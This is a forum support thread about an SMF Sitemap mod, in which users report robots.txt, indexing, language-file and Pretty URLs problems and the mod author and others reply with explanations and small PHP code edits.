this is great mod, i installed in SMF2 RC2, it works fine.
but google webmaster said this

URL restricted by robots.txt
We encountered an error while trying to access your Sitemap. Please ensure your Sitemap follows our guidelines and can be accessed at the location you provided and then resubmit.


this is my robot.txt


User-agent: Mediapartners-Google*
Disallow:

User-agent: BotRightHere
Disallow: /

User-agent: WebZip
Disallow: /

User-agent: larbin
Disallow: /

User-agent: b2w/0.1
Disallow: /

User-agent: Copernic
Disallow: /

User-agent: psbot
Disallow: /

User-agent: Python-urllib
Disallow: /

User-agent: NetMechanic
Disallow: /

User-agent: URL_Spider_Pro
Disallow: /

User-agent: CherryPicker
Disallow: /

User-agent: EmailCollector
Disallow: /

User-agent: EmailSiphon
Disallow: /

User-agent: WebBandit
Disallow: /

User-agent: EmailWolf
Disallow: /

User-agent: ExtractorPro
Disallow: /

User-agent: CopyRightCheck
Disallow: /

User-agent: Crescent
Disallow: /

User-agent: SiteSnagger
Disallow: /

User-agent: ProWebWalker
Disallow: /

User-agent: CheeseBot
Disallow: /

User-agent: LNSpiderguy
Disallow: /

User-agent: Alexibot
Disallow: /

User-agent: Teleport
Disallow: /

User-agent: TeleportPro
Disallow: /

User-agent: MIIxpc
Disallow: /

User-agent: Telesoft
Disallow: /

User-agent: Website Quester
Disallow: /

User-agent: WebZip
Disallow: /

User-agent: moget/2.1
Disallow: /

User-agent: WebZip/4.0
Disallow: /

User-agent: WebStripper
Disallow: /

User-agent: WebSauger
Disallow: /

User-agent: WebCopier
Disallow: /

User-agent: NetAnts
Disallow: /

User-agent: Mister PiX
Disallow: /

User-agent: WebAuto
Disallow: /

User-agent: TheNomad
Disallow: /

User-agent: WWW-Collector-E
Disallow: /

User-agent: RMA
Disallow: /

User-agent: libWeb/clsHTTP
Disallow: /

User-agent: asterias
Disallow: /

User-agent: httplib
Disallow: /

User-agent: turingos
Disallow: /

User-agent: spanner
Disallow: /

User-agent: InfoNaviRobot
Disallow: /

User-agent: Harvest/1.5
Disallow: /

User-agent: Bullseye/1.0
Disallow: /

User-agent: Mozilla/4.0 (compatible; BullsEye; Windows 95)
Disallow: /

User-agent: Crescent Internet ToolPak HTTP OLE Control v.1.0
Disallow: /

User-agent: CherryPickerSE/1.0
Disallow: /

User-agent: CherryPickerElite/1.0
Disallow: /

User-agent: WebBandit/3.50
Disallow: /

User-agent: NICErsPRO
Disallow: /

User-agent: Microsoft URL Control - 5.01.4511
Disallow: /

User-agent: DittoSpyder
Disallow: /

User-agent: Foobot
Disallow: /

User-agent: SpankBot
Disallow: /

User-agent: BotALot
Disallow: /

User-agent: lwp-trivial/1.34
Disallow: /

User-agent: lwp-trivial
Disallow: /

User-agent: BunnySlippers
Disallow: /

User-agent: Microsoft URL Control - 6.00.8169
Disallow: /

User-agent: URLy Warning
Disallow: /

User-agent: Wget/1.6
Disallow: /

User-agent: Wget/1.5.3
Disallow: /

User-agent: Wget
Disallow: /

User-agent: LinkWalker
Disallow: /

User-agent: cosmos
Disallow: /

User-agent: moget
Disallow: /

User-agent: hloader
Disallow: /

User-agent: humanlinks
Disallow: /

User-agent: LinkextractorPro
Disallow: /

User-agent: Offline Explorer
Disallow: /

User-agent: Mata Hari
Disallow: /

User-agent: LexiBot
Disallow: /

User-agent: Web Image Collector
Disallow: /

User-agent: The Intraformant
Disallow: /

User-agent: True_Robot/1.0
Disallow: /

User-agent: True_Robot
Disallow: /

User-agent: BlowFish/1.0
Disallow: /

User-agent: JennyBot
Disallow: /

User-agent: MIIxpc/4.2
Disallow: /

User-agent: BuiltBotTough
Disallow: /

User-agent: ProPowerBot/2.14
Disallow: /

User-agent: BackDoorBot/1.0
Disallow: /

User-agent: toCrawl/UrlDispatcher
Disallow: /

User-agent: suzuran
Disallow: /

User-agent: TightTwatBot
Disallow: /

User-agent: VCI WebViewer VCI WebViewer Win32
Disallow: /

User-agent: VCI
Disallow: /

User-agent: Szukacz/1.4
Disallow: /

User-agent: Openfind data gatherer
Disallow: /

User-agent: Openfind
Disallow: /

User-agent: Xenu's Link Sleuth 1.1c
Disallow: /

User-agent: Xenu's
Disallow: /

User-agent: Zeus
Disallow: /

User-agent: RepoMonkey Bait & Tackle/v1.01
Disallow: /

User-agent: RepoMonkey
Disallow: /

User-agent: Microsoft URL Control
Disallow: /

User-agent: Openbot
Disallow: /

User-agent: URL Control
Disallow: /

User-agent: Zeus Link Scout
Disallow: /

User-agent: Zeus 32297 Webster Pro V2.9 Win32
Disallow: /

User-agent: Webster Pro
Disallow: /

User-agent: EroCrawler
Disallow: /

User-agent: LinkScan/8.1a Unix
Disallow: /

User-agent: Keyword Density/0.9
Disallow: /

User-agent: Kenjin Spider
Disallow: /

User-agent: Iron33/1.0.2
Disallow: /

User-agent: Bookmark search tool
Disallow: /

User-agent: GetRight/4.2
Disallow: /

User-agent: FairAd Client
Disallow: /

User-agent: Gaisbot
Disallow: /

User-agent: Aqua_Products
Disallow: /

User-agent: Radiation Retriever 1.1
Disallow: /

User-agent: Flaming AttackBot
Disallow: /

User-agent: *
Disallow: /*action*
Disallow: /*.gif$
Disallow: /*.jpg$
Disallow: /*.png$
Disallow: index.php?action=search*
Disallow: index.php?action=calendar*
Disallow: index.php?action=login*
Disallow: index.php?action=register*
Disallow: index.php?action=profile*
Disallow: index.php?action=stats*
Disallow: index.php?action=printpage*
Disallow: index.php?PHPSESSID=*
Disallow: index.php?*rss*
Disallow: index.php?*wap*
Disallow: index.php?*wap2*
Disallow: index.php?*imode*

User-agent: Mediapartners-Google
Allow:


what should i do ?



Title: Re: Sitemap
Post by: SlammedDime on December 11, 2009, 01:16:15 AM
Why on earth do you have all of that?  Seems a bit overkill.

The line that is killing it is this...

User-agent: *
Disallow: /*action*

You're telling all user-agents to not visit any links in smf that have action in them.
Title: Re: Sitemap
Post by: Massl on December 13, 2009, 01:21:59 PM
Thanks for this great mod SlammedDime ;)
Title: Re: Sitemap
Post by: CrazyTech on December 15, 2009, 08:56:01 PM
I'm not sure what's up, but I've got everything installed and working.

However, I'm not getting indexed well at all. In fact, I'm sitting at less than 200 URLs where I easily had several thousand minimum with vB prior to the conversion. I understand this takes time, and I given it a couple weeks to see. I guess what troubles me the most is the XML sitemap shows only about 8,000 URLs - far less than the 11,000+ threads I have at the least. robots.txt, etc. are all fine. I've increased the Google indexing for an example without much change.

Is there something I'm missing with only 8,000 URLs and so few actually indexed? Just to compare, I installed vB sitemap and within 24 hours I had an additiona 1200 pages indexed.
Title: Re: Sitemap
Post by: SlammedDime on December 16, 2009, 06:09:20 PM
The sitemap only provides a list of topics and boards to the search engines, it makes no promise or guarantee that you will be indexed... there is no mod that can and I can't tell you why vB works better than SMF with indexing.  Search engines index content not just because it's there, but because they deem it worthy to be indexed.

As for the number of URLs in the Sitemap; you didn't mention which version of SMF you're using, but if using SMF 2.0, the xml sitemap only displays topics viewable to guests.  If using SMF 1.1.x, the xml sitemap will display whatever the viewer has access to see.  A guest (google) would only see topics a guest can see.  As an admin, you would be shown all topics in the XML sitemap.  Since you as an admin can view all topics, so if you have some that aren't available to guests, that is where the difference comes in.
Title: Re: Sitemap
Post by: CrazyTech on December 17, 2009, 10:53:14 AM
Quote
The sitemap only provides a list of topics and boards to the search engines, it makes no promise or guarantee that you will be indexed... there is no mod that can and I can't tell you why vB works better than SMF with indexing.  Search engines index content not just because it's there, but because they deem it worthy to be indexed.

Well that's what I'm concerned about. If the only real variable is the software...which by the way is SMF 2.0 RC2.

I'm rehashing the sitemap just to make sure. I don't necessarily feel like it's a sitemap issue with your above points. I'm going to double-check all of the forums, but they should certainly be accessible to guests and therefore search engine bots. One thing I did notice is that I used the Googlebot download tool in Google webmasters, and it seems to download only a portion of the sitemap. It abruptly stops a little ways down in the middle of an entry. Just not sure if that's by design using the tool, or if maybe that's what is actually happening to the sitemap. I know the vB mod generated 4-5 XML pages for my forum, and then it looks like the MyBB mod does the same. I'm not sure if that has any bearing at all, but it's a thought. The only other difference is that it's compressed as far as vB.

I'm definitely not blaming anything yet, so please don't take it the way that I'm complaining about the sitemap. I appreciate the work you do and releasing it to this community, so thanks!
Title: Re: Sitemap
Post by: SlammedDime on December 17, 2009, 03:16:49 PM
If googlebot is stopping half way through, then it may not like how long the page takes to generate... I put in set_time_limit calls to extend out how much time PHP can take to generate the page, but if google doesn't respect that it can take longer, that might be an issue I"ll have to look into.

As for multiple pages - I never really considered it.... would be something to look into.
Title: Re: Sitemap
Post by: beltazar on December 18, 2009, 05:22:17 AM
Quote from: SlammedDime on December 11, 2009, 01:16:15 AM
Why on earth do you have all of that?  Seems a bit overkill.

The line that is killing it is this...

User-agent: *
Disallow: /*action*

You're telling all user-agents to not visit any links in smf that have action in them.

ups... thx SlammedDime

i've delete those two line, but google still said restricted by robots.txt
how is the right robot.txt ?

thx
Title: Re: Sitemap
Post by: spiros on December 19, 2009, 04:25:59 PM
Is there  a way, when showing topics, not to have the board name linked?
Also, could one define the number of topics per page?

If you have board names linked it makes 200 links per page, which, I think, is twice the recommended amount by Google.
Title: Re: Sitemap
Post by: SlammedDime on December 19, 2009, 04:37:32 PM
This very page has over 294 links now that I've posted to it... I can't see how the number of links per page would hamper a bot, at least not this day and age in technology where it takes a fraction of a second to preg_search the page to capture all links.

As for your questions though: Number of topics per page: not settable by an admin setting, but it can be changed in the Sitemap.php Source file (assuming you're using 2.0), under the listOptions array for topics.  Same for linked boards, it would have to be edited under the listOptions for topics
Title: Re: Sitemap
Post by: spiros on December 19, 2009, 04:40:37 PM
Thanks for your answer. Can you please tell me what code I need to change to unlink Boards in topics view?

QuoteKeep the links on a given page to a reasonable number (fewer than 100).
http://www.google.com/support/webmasters/bin/answer.py?hl=en&answer=35769
Title: Re: Sitemap
Post by: SlammedDime on December 19, 2009, 05:12:15 PM
There is a significant amount of debate as to whether or not that actually matters... Google Search (http://www.google.com/search?&q=%23%20Keep%20the%20links%20on%20a%20given%20page%20to%20a%20reasonable%20number%20%28fewer%20than%20100%29.)

As for the code

Code (Find) Select
'format' => '[<a href="' . $scripturl . '?board=%d.0">%s</a>] <a href="' . $scripturl . '?topic=%d.0">%s</a>',


Code (Replace) Select
'format' => '[%s] <a href="' . $scripturl . '?topic=%d.0">%s</a>',
Title: Re: Sitemap
Post by: spiros on December 19, 2009, 05:25:29 PM
Just tried the change but it does not work, this is what it gives me:

Θέμα Ξεκίνησε από Εμφανίσεις Απαντήσεις
[17] 6719 feedbot 11 0
[17] 6718 feedbot 6 0
[17] 6717 feedbot 8 0
[17] 6716 feedbot 11 0
[17] 6715 feedbot 10 0
[17] 6714 feedbot 7 0
[17] 6713 feedbot 7 0
[17] 6712 feedbot 10 0


And all links are the same to:
http://www.nonsmokersclub.com/forum/index.php?topic=0.0

instead of:

Θέμα Ξεκίνησε από Εμφανίσεις Απαντήσεις
[Health news] Foetal heart rate monitor warning feedbot 8 0
[Health news] Rest Easy. When It Comes to Swine Flu, Your Pet Is Safe (HealthDay) feedbot 8 0
[Health news] For Gene Therapy, Seeing Signs of a Resurgence feedbot 8 0
[Health news] Young 'must have swine flu jab' feedbot 8 0
[Health news] Medical aid group raises alarm about AIDS funding (AP) feedbot 8 0
[Health news] Skin Deep: Surgery at a Spa? Buyer Beware. feedbot 9 0
[Health news] Tackle work stress, bosses told feedbot 8 0
[Health news] Democrats wrestle with abortion on health bill (Reuters) feedbot 6 0
Title: Re: Sitemap
Post by: SlammedDime on December 19, 2009, 05:46:41 PM
Sorry, one more line of code to remove...

This line is right below the one you modified.

Code (Remove) Select
'id_board' => false,
Title: Re: Sitemap
Post by: spiros on December 19, 2009, 05:53:02 PM
Brilliant, many thanks :)
Title: Re: Sitemap
Post by: Massl on December 20, 2009, 04:57:33 PM
Hi,
I installed this mod today, but the register of SMF 2.0 tells me these errors

It's normal ?
Title: Re: Sitemap
Post by: SlammedDime on December 20, 2009, 11:19:21 PM
Quote from: SlammedDime on November 12, 2009, 04:57:42 PM
That means your language strings were not updated in your language file.  If you have any other Modifications.[language].php file OTHER than english, you need to copy what is in it to the other languages.
Title: Re: Sitemap
Post by: Massl on December 21, 2009, 01:19:56 AM
Thanks for the reply, I reloaded all the language files on my server, including Modifications.italian.php, but there is always the error  :-[
Title: Re: Sitemap
Post by: Arantor on December 21, 2009, 04:10:06 AM
So did you copy the new stuff from Modifications.english.php to Modifications.italian.php, then empty the file cache?
Title: Re: Sitemap
Post by: Massl on December 21, 2009, 12:47:16 PM
Thanks to everyone for the help, I solved thanks to Darknico.

The problem was the translation into italian of the mod:
http://www.simplemachines.org/community/index.php?topic=354976.msg2414546 # msg2414546

Thanks for your great support  ;)
Title: Re: Sitemap
Post by: pkdemon on December 27, 2009, 08:36:47 AM
well i have just started using this mod and was think would you be able to add a feature into it where we could add are own links in the site map too ?
Title: Re: Sitemap
Post by: playdiune on January 01, 2010, 06:58:54 PM
hello,

using smf version 1.1.11

i get this error

QuoteVisitante   Hoje às 20:44 
http://www.new-digital.net/index.php?action=sitemap 
8: Undefined index: nump
Ficheiro: /home2/newdigi3/public_html/Themes/default/Sitemap.template.php (Boards sub template - eval?)
Linha: 75

do i have to write somethin in the file robots.txt ?
Title: Re: Sitemap
Post by: SlammedDime on January 01, 2010, 10:51:18 PM
playdiune - It happens because you have child boards that are publicly accessible, but their parent is not.  I haven't had a chance to fix this query for SMF 1.1.x yet.
Title: Re: Sitemap
Post by: Mr. Jinx on January 04, 2010, 07:09:52 AM
I'm getting these errors in the errorlog (smf 2.0 rc2):

8: Undefined index: sitemap
File: ..../public_html/forum/Sources/Sitemap.php
Line: 27


This happens only when a guest (spider) access http://www.site.com/forum/index.php?action=sitemap;xml
If a registered users tries this url, no error is logged.
Title: Re: Sitemap
Post by: SlammedDime on January 04, 2010, 02:18:29 PM
Quote from: SlammedDime on November 12, 2009, 04:57:42 PM
That means your language strings were not updated in your language file.  If you have any other Modifications.[language].php file OTHER than english, you need to copy what is in it to the other languages.
Title: Re: Sitemap
Post by: stealth645 on January 06, 2010, 08:03:04 AM
Hi folks,

I'm running SMF 1.1.11 with Sitemap Mod and Pretty URLs.

It looks like my Pretty URLs are working just find, and the HTML sitemap is using them correctly.

The problem is the XML sitemap is using the board=9.0, and topic=1145.0 URLS.

Am I doing something wrong here?

The site is:  www.photoenthusiast.net

Thanks!

Steve
Title: Re: Sitemap
Post by: raven85 on January 07, 2010, 12:06:24 PM
Just added this mod to my forum, works perfectly, but I get this error on XML.
Quote
XML Parsing Error: no element found
Location: http://mysite.com/index.php?action=sitemap;xml
Line Number 1, Column 1:

How do I fix it?
Title: Re: Sitemap
Post by: playdiune on January 08, 2010, 05:23:12 PM
hello and thanks for this great mode.

how can i change these values ?

<changefreq>daily</changefreq>

I would like to change for every hour !!

is this possible ?
Title: Re: Sitemap
Post by: SlammedDime on January 08, 2010, 07:03:22 PM
raven - I need a real link to your site

playdiune - What version of SMF / the mod are you using?
Title: Re: Sitemap
Post by: raven85 on January 09, 2010, 11:18:38 AM
Quote from: SlammedDime on January 08, 2010, 07:03:22 PM
raven - I need a real link to your site

playdiune - What version of SMF / the mod are you using?

I'll send you a PM.
Title: Re: Sitemap
Post by: SlammedDime on January 09, 2010, 02:03:43 PM
raven - try decreasing the number of topics displayed on the sitemap in the config page... start at 2K and work your way up from there.
Title: Re: Sitemap
Post by: raven85 on January 10, 2010, 10:53:37 AM
Quote from: SlammedDime on January 09, 2010, 02:03:43 PM
raven - try decreasing the number of topics displayed on the sitemap in the config page... start at 2K and work your way up from there.

;D Beautiful man thanks.
Title: Re: Sitemap
Post by: zszalbot on January 11, 2010, 07:19:53 PM
One question - does sitemap work with SMF 1.1.11? The information on the sitemap page shows it is compatible up to 1.1.10.

Thank you!

Zbigniew Szalbot
Title: Re: Sitemap
Post by: SlammedDime on January 11, 2010, 07:43:27 PM
Yes it does.
Title: Re: Sitemap
Post by: zszalbot on January 12, 2010, 07:42:21 AM
Quote from: SlammedDime on January 11, 2010, 07:43:27 PM
Yes it does.

OK, great. I installed it on a 1.1.11 SMF and went to webmasters at google to inform Google about the sitemap. I tried giving Google these URLs:
koinonia.slowo.pl/index.php?action=sitemap
koinonia.slowo.pl/index.php?action=sitemap;xml
koinonia.slowo.pl/index.php?action=sitemap;start=0
but none of them was recognized and each time Google told me that it resulted in 404 - page not find, which is kind of weird. Any chance you suggest what may be going on here?

Thank you!

Zbigniew Szalbot
Title: Re: Sitemap
Post by: SlammedDime on January 12, 2010, 06:14:36 PM
The proper one for Google is http://koinonia.slowo.pl/index.php?action=sitemap;xml

It loads just fine, so I don't know why google would give a 404 error.
Title: Re: Sitemap
Post by: zszalbot on January 13, 2010, 02:16:02 AM
Quote from: SlammedDime on January 12, 2010, 06:14:36 PM
The proper one for Google is http://koinonia.slowo.pl/index.php?action=sitemap;xml

It loads just fine, so I don't know why google would give a 404 error.

It was my mistake while pasting the URL into Google webmaster page! Sorry to have bothered! Thanks for checking!

Zbigniew Szalbot
Title: Re: Sitemap
Post by: zszalbot on January 13, 2010, 05:54:52 AM
Hello,

I just noticed one thing in the error log:

Quote8: Undefined index:  sitemap<br />Plik: /path/to/forum/koinonia.slowo.pl/Sources/Sitemap.php<br />Linia: 22

Translated it would look like this:
8: Undefined index:  sitemap<br />File: /path/to/forum/koinonia.slowo.pl/Sources/Sitemap.php<br />Line: 22

Should I worry about? It appears each time ?action=sitemap;xml is called.

Thanks!

Zbigniew Szalbot
Title: Re: Sitemap
Post by: Eclipse16V on January 13, 2010, 06:05:40 AM
Hi

Nice Mod

But i have this errors
Can any one help me?
Title: Re: Sitemap
Post by: kosty555 on January 15, 2010, 06:19:09 AM
many thanks for the good mod. but i would like to ask a question - if the section is closed for guests, why is it included in sitemap? can it be fixed?
Title: Re: Sitemap
Post by: SlammedDime on January 15, 2010, 06:21:27 AM
In both versions of the mod, the User Friendly sitemap will only show topics/boards that *you* (the viewer) has access to.  If you're an admin, you'll see everything.  A guest will see what a guest sees.

In the version for SMF 1.1.x, the XML sitemap will also show you what *you* (the viewer) has access to.

In the version for SMF 2.0, the XML sitemap always shows only what guests can see, regardless of who is viewing it.
Title: Re: Sitemap
Post by: Bruno36 on January 16, 2010, 03:36:53 AM
Everything seemed to go fine with no errors but I have no sitemap. Should this mod have added a new tab or anything in the control panel?

Title: Re: Sitemap
Post by: SlammedDime on January 16, 2010, 05:25:54 AM
If you are not using the default theme, you will need to modify your theme accordingly.  If you are using the default theme, you'll need to make sure the edits were made to the index.template.php file.
Title: Re: Sitemap
Post by: Bruno36 on January 16, 2010, 06:01:51 AM
yes Changes were made to the file index.template.php
Title: Re: Sitemap
Post by: petb on January 21, 2010, 07:02:22 PM
Quote from: zszalbot on January 13, 2010, 05:54:52 AM
Hello,

I just noticed one thing in the error log:

Quote8: Undefined index:  sitemap<br />Plik: /path/to/forum/koinonia.slowo.pl/Sources/Sitemap.php<br />Linia: 22

Translated it would look like this:
8: Undefined index:  sitemap<br />File: /path/to/forum/koinonia.slowo.pl/Sources/Sitemap.php<br />Line: 22

Should I worry about? It appears each time ?action=sitemap;xml is called.

Thanks!

Zbigniew Szalbot
Hello,

just take a look here http://www.simplemachines.org/community/index.php?topic=170813.msg2413991#msg2413991
Maybe the few following Posts will help you.

PetB
Title: Re: Sitemap
Post by: GohighVoltage on January 21, 2010, 09:29:32 PM
Hi,  If I Uncheck 
Show Sitemap XML link

All users still have the sitemap link.   Why?

Title: Re: Sitemap
Post by: SlammedDime on January 21, 2010, 10:52:22 PM
Re-Read the option... "Show Sitemap XML link" - it only disables displaying of the XML sitemap link.
Title: Re: Sitemap
Post by: GohighVoltage on January 22, 2010, 02:01:22 AM
Thats exactly what I am talking about.  Whether checked or uncheckedm the Sitemap LINK still appears.
Title: Re: Sitemap
Post by: SlammedDime on January 22, 2010, 04:06:48 AM
You're missing the bold part... XML... the sitemap link will always appear in the footer of your board... that setting only controls the XML link on the sitemap itself.
Title: Re: Sitemap
Post by: GohighVoltage on January 22, 2010, 09:23:15 AM
I am sorry,  I did not understand.
Title: Re: Sitemap
Post by: GohighVoltage on January 22, 2010, 09:39:07 AM
By The way,  this is one of the BEST mods I have came across.
Title: Re: Sitemap
Post by: petb on January 22, 2010, 09:43:30 AM
He will say that yo cannot hide the Sitemap anyway with this option field.
By deselect you can only eliminate the showing of the "XML" Link on the sitemap pages itself.
On the right down corner you can see the Links Boards, Topics and XML.
And only there you can hide the XML Link.

(If i understood it correctly)
Title: Re: Sitemap
Post by: Bugo on January 23, 2010, 06:35:24 AM
Russian translation:

// SMF Sitemap
$txt['sitemap'] = 'Карта сайта';
$txt['sitemap1'] = 'Карту сайта';
$txt['sitemap_boards'] = 'Разделы';
$txt['sitemap_xml'] = 'Показывать <em>ссылку </em> на XML версию карты сайта';
$txt['sitemap_topic_count'] = 'Максимальное количество выводимых тем в карте<div class="smalltext">0 - выводить все (<strong class="error">НЕ РЕКОМЕНДУЕТСЯ ДЛЯ БОЛЬШИХ ФОРУМОВ</strong>)</div>';
$txt['sitemap_cache_ttl'] = 'Промежуток времени для сохранения XML-данных в кэше (в секундах)';
$txt['sitemap_board_none'] = 'Нет разделов для отображения';
$txt['sitemap_topic_none'] = 'Нет тем для отображения';
$txt['sitemap_30day_priority'] = 'Приоритет для тем, активных в последние 30 дней';
$txt['sitemap_60day_priority'] = 'Приоритет для тем, активных в последние 60 дней';
$txt['sitemap_90day_priority'] = 'Приоритет для тем, активных в последние 90 дней';
$txt['sitemap_91day_priority'] = 'Приоритет для тем старше 90 дней';
// SMF Sitemap END
Title: Re: Sitemap
Post by: Pinball Nation on January 29, 2010, 05:27:28 PM
I'm trying to install this mod an get failed messageExecute Modification  ./Themes/default/languages/Modifications.french.php  Test failed I'm using english utf8.Is it ok to go ahead an install?
Title: Re: Sitemap
Post by: rd on January 29, 2010, 06:07:29 PM
Does this work with Rc1? If it doesn't, can you make it? pleaseeeeee! This is the best mod for SEO in the mod site.
Title: Re: Sitemap
Post by: SlammedDime on January 29, 2010, 06:46:11 PM
It might, and it probably did at one point, but since RC2 is the latest version, I won't back support the mod, would cause too much confusion.  I'd recommend updating your install of SMF or trying to manually install it (the only part that would need a manual install is the index.template.php edit as far as I can remember.
Title: Re: Sitemap
Post by: rd on January 29, 2010, 08:51:38 PM
Can you give me the code for it? I need it for the core theme.
Title: Re: Sitemap
Post by: SlammedDime on January 29, 2010, 10:58:43 PM
You can manually parse the mod on the mod site under the download links to see the instructions.
Title: Re: Sitemap
Post by: Arantor on January 30, 2010, 12:44:50 AM
Pinball Nation: yes, it's just expecting to add French and doesn't find the file - you can ignore that if it's just saying it can't find a language file - if you don't have that language installed.
Title: Re: Sitemap
Post by: Paolo Bitta on February 05, 2010, 04:46:48 AM
Hi, i used to have a lot of links indexed in google with this mod and pretty urls, but yesterday i noticed in webmastertools that just 2 links are now in the index.

I checked the sitemap and I see that no pretty urls are there anymore...

I tryed to re-install both mod (sitemap 1.2.2 and pretty_urls 1.0RC on smf 1.1.11) but this did not help..

any hints?

http://www.gsalcazar.altervista.org/
http://www.gsalcazar.altervista.org/sitemap.xml




EDIT
I removed the check on the enable setting for pretty urls from Sitemap.php file
if (!empty($modSettings['pretty_enable_filters']) &&  modSettings['pretty_enable_filters'] == 'on')

and the sitemap is back to work.

why should it not be able to recognize the pretty_url engine as ON?!?!  :o
Title: Re: Sitemap
Post by: Snogmarr on February 07, 2010, 10:10:35 AM
Ok I am getting this error on install

Parse error: syntax error, unexpected T_STRING in /Sources/ManageSettings.php on line 2507

I check my manage settings and it refers to this

array('check', 'sitemap_xml'),
thta does not make sense
Title: Re: Sitemap
Post by: Arantor on February 07, 2010, 10:30:29 AM
Please post the code a few lines either side of that line.
Title: Re: Sitemap
Post by: Snogmarr on February 07, 2010, 10:35:43 AM
global $txt, $scripturl, $context, $settings, $sc, $modSettings;

   $config_vars = array(
         array('check', 'sitemap_xml'),
         array('int', 'sitemap_topic_count'),
         array('int', 'sitemap_cache_ttl'),
         '',
         array('select', 'sitemap_30day_priority', array('1.0' => '1.0', '0.9' => '0.9', '0.8' => '0.8', '0.7' => '0.7', '0.6' => '0.6', '0.5' => '0.5', '0.4' => '0.4', '0.3' => '0.3', '0.2' => '0.2', '0.1' => '0.1', '0.0' => '0.0')),
         array('select', 'sitemap_60day_priority', array('1.0' => '1.0', '0.9' => '0.9', '0.8' => '0.8', '0.7' => '0.7', '0.6' => '0.6', '0.5' => '0.5', '0.4' => '0.4', '0.3' => '0.3', '0.2' => '0.2', '0.1' => '0.1', '0.0' => '0.0')),
         array('select', 'sitemap_90day_priority', array('1.0' => '1.0', '0.9' => '0.9', '0.8' => '0.8', '0.7' => '0.7', '0.6' => '0.6', '0.5' => '0.5', '0.4' => '0.4', '0.3' => '0.3', '0.2' => '0.2', '0.1' => '0.1', '0.0' => '0.0')),
         array('select', 'sitemap_91day_priority', array('1.0' => '1.0', '0.9' => '0.9', '0.8' => '0.8', '0.7' => '0.7', '0.6' => '0.6', '0.5' => '0.5', '0.4' => '0.4', '0.3' => '0.3', '0.2' => '0.2', '0.1' => '0.1', '0.0' => '0.0')),
   );

   if ($return_config)
      return $config_vars;

   $context['post_url'] = $scripturl . '?action=admin;area=modsettings;save;sa=sitemap';
   $context['settings_title'] = $txt['sitemap'];

   // Saving?
   if (isset($_GET['save']))
   {
      checkSession();
      $save_vars = $config_vars;
      saveDBSettings($save_vars);
      redirectexit('action=admin;area=modsettings;sa=sitemap');
   }
   prepareDBSettingContext($config_vars);
Title: Re: Sitemap
Post by: Arantor on February 07, 2010, 10:48:54 AM
Hmmm. That looks normal enough.

Please can you attach the whole file for us to look at?
Title: Re: Sitemap
Post by: Snogmarr on February 07, 2010, 10:54:43 AM
^^^^^^
attached above?
Title: Re: Sitemap
Post by: Arantor on February 07, 2010, 11:00:28 AM
The problem is another mod has damaged the file - a few lines above it, starting at line 2494.

Without seeing the other mods I have no idea what the code is really supposed to look like.
Title: Re: Sitemap
Post by: Snogmarr on February 07, 2010, 11:18:38 AM
hmm thats part of the multiforum mod code


Ok need to look at this
Thanks anayway
Title: Re: Sitemap
Post by: lav007us on February 08, 2010, 08:17:10 AM
Thanks for your mod. I installed it and managed to make it show at http://indiatraveldeal.org/sitemap.xml however the URLs it shows are not SEO optimized as done by "Pretty URL" mod.

Shows SEO friendly URLs at http://indiatraveldeal.org/sitemap/
But not at http://indiatraveldeal.org/sitemap.xml

Any Idea what I need to do..?
Title: Re: Sitemap
Post by: SAFAD on February 09, 2010, 12:49:56 PM


http://www.dzlinux.com/forum/index.php?action=sitemap;xml

8: Undefined index: sitemap

?????
Title: Re: Sitemap
Post by: Fotoforofos.com on February 09, 2010, 01:38:35 PM
Quote from: lav007us on February 08, 2010, 08:17:10 AM
Thanks for your mod. I installed it and managed to make it show at http://indiatraveldeal.org/sitemap.xml however the URLs it shows are not SEO optimized as done by "Pretty URL" mod.

Shows SEO friendly URLs at http://indiatraveldeal.org/sitemap/
But not at http://indiatraveldeal.org/sitemap.xml

Any Idea what I need to do..?

Same problem here (SMF 1.1.11)

http://foro.fotoforofos.com/index.php?action=sitemap
http://foro.fotoforofos.com/index.php?action=sitemap;xml
Title: Re: Sitemap
Post by: Paolo Bitta on February 10, 2010, 03:33:52 AM
Quote from: lav007us on February 08, 2010, 08:17:10 AM
Thanks for your mod. I installed it and managed to make it show at http://indiatraveldeal.org/sitemap.xml however the URLs it shows are not SEO optimized as done by "Pretty URL" mod.

Shows SEO friendly URLs at http://indiatraveldeal.org/sitemap/
But not at http://indiatraveldeal.org/sitemap.xml

Any Idea what I need to do..?

Quote from: Fotoforofos.com on February 09, 2010, 01:38:35 PM
Quote from: lav007us on February 08, 2010, 08:17:10 AM
Thanks for your mod. I installed it and managed to make it show at http://indiatraveldeal.org/sitemap.xml however the URLs it shows are not SEO optimized as done by "Pretty URL" mod.

Shows SEO friendly URLs at http://indiatraveldeal.org/sitemap/
But not at http://indiatraveldeal.org/sitemap.xml

Any Idea what I need to do..?

Same problem here (SMF 1.1.11)

http://foro.fotoforofos.com/index.php?action=sitemap
http://foro.fotoforofos.com/index.php?action=sitemap;xml

Same problem for me,
I resolved in this way:

Quote from: Paolo Bitta on February 05, 2010, 04:46:48 AM

EDIT
I removed the check on the enable setting for pretty urls from Sitemap.php file
if (!empty($modSettings['pretty_enable_filters']) &&  modSettings['pretty_enable_filters'] == 'on')

and the sitemap is back to work.

why should it not be able to recognize the pretty_url engine as ON?!?!  :o
Title: Re: Sitemap
Post by: Arantor on February 10, 2010, 04:18:42 AM
Please for the love of <insert deity> will people realise Pretty URLs confers NO SEO BENEFIT WHATSOEVER.
Title: Re: Sitemap
Post by: Paolo Bitta on February 10, 2010, 07:02:56 AM
Quote from: Arantor on February 10, 2010, 04:18:42 AM
Please for the love of <insert deity> will people realise Pretty URLs confers NO SEO BENEFIT WHATSOEVER.

and so.......
Title: Re: Sitemap
Post by: Arantor on February 10, 2010, 07:33:56 AM
Oh, I was referring to a comment earlier about it not working with Pretty URLs "SEO".
Title: Re: Sitemap
Post by: lav007us on February 11, 2010, 02:26:10 AM
Quote from: Paolo Bitta on February 05, 2010, 04:46:48 AM

EDIT
I removed the check on the enable setting for pretty urls from Sitemap.php file
if (!empty($modSettings['pretty_enable_filters']) &&  modSettings['pretty_enable_filters'] == 'on')

and the sitemap is back to work.

why should it not be able to recognize the pretty_url engine as ON?!?!  :o
[/quote]

Thanks, it worked.

** sitemap.php file is located under "Sources" folder
Title: Re: Sitemap
Post by: abcd789 on February 11, 2010, 02:30:30 AM
hiee i have installed sitemap... i m unable to see the sitemap link in the admin panel of configuration but i can see the link in the footer... whats the problem frineds.. if i installed any mod also it is not coming in the left panel.. the text is in hide state... and i wanna put this link as  /forum/index.php?action=sitemap

to forum/sitemap.xml how to do like this.. thanx in advance
Title: Re: Sitemap
